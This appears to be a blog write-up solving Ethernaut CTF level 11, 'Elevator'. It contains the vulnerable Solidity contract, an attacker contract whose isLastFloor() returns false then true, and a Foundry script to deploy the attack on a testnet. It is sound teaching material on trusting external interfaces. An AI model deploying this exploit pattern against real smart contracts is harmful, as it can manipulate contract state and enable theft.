The Ethernaut CTF Solutions | 11 - Elevator

The Ethernaut CTF Solutions | 11 - Elevator

Strategic Ascent: Turning Interfaces into Tools for Advancement

ยท

3 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint) external returns (bool);
}

contract Elevator {
    bool public top;
    uint public floor;

    function goTo(uint _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

The hack

The Elevator is a level that is supposed to elevate (!) our knowledge about smart contract interface. An interface defines function signatures, but not their logic. This is a way to interact with other contracts without having to know the implementation details.

However, in this case, we can create our very own Building instance and use it to define our version of the isLastFloor() function.

function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }

In the goTo() function, isLastFloor is called twice. The first time with any value (this will set the last floor), and the second time with the floor we want to go to (defined in the contract's storage). We can use this to our advantage by crafting a isLastFloor() that will return false the first time and true the second time.

This will allow us to reach the top of the building.

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IElevator {
    function goTo(uint256 _floor) external;
}

contract StairwayToHeaven {
    bool private toogle;
    IElevator private elevator;

    constructor(address _elevator) {
        elevator = IElevator(_elevator);
    }

    // Implement the isLastFloor function to return false the first time (set
    // the floor to any uint value) and true the second time to go to the top
    function isLastFloor(uint) public returns (bool) {
        toogle = !toogle;
        return toogle;
    }

    // Pick your number :)
    function attack(uint256 _floor) external {
        elevator.goTo(_floor);
    }
}

Now, we can write our deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {StairwayToHeaven} from "../src/11_Elevator.sol";

interface IElevator {
    function top() external view returns (bool);
}

contract PoC is Script {
    // Replace with your Elevator instance
    address payable immutable elevator =
        payable(0xbEd2A62C26eC563e2499c4b9e47383995C6912B3); 

    function run() external payable {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        console2.log("Is this the top?", IElevator(elevator).top());
        StairwayToHeaven stairwayToHeaven = new StairwayToHeaven(elevator);
        stairwayToHeaven.attack(75);
        console2.log("Is this the top?", IElevator(elevator).top());

        vm.stopBroadcast();
    }
}

Then, you can use forge scripts to deploy the contract and call the attack function with the floor you want to go to.

forge script script/11_Elevator.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Interfaces are a way to interact with other contracts without having to know the implementation details...

  • ... so never trust them blindly!


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย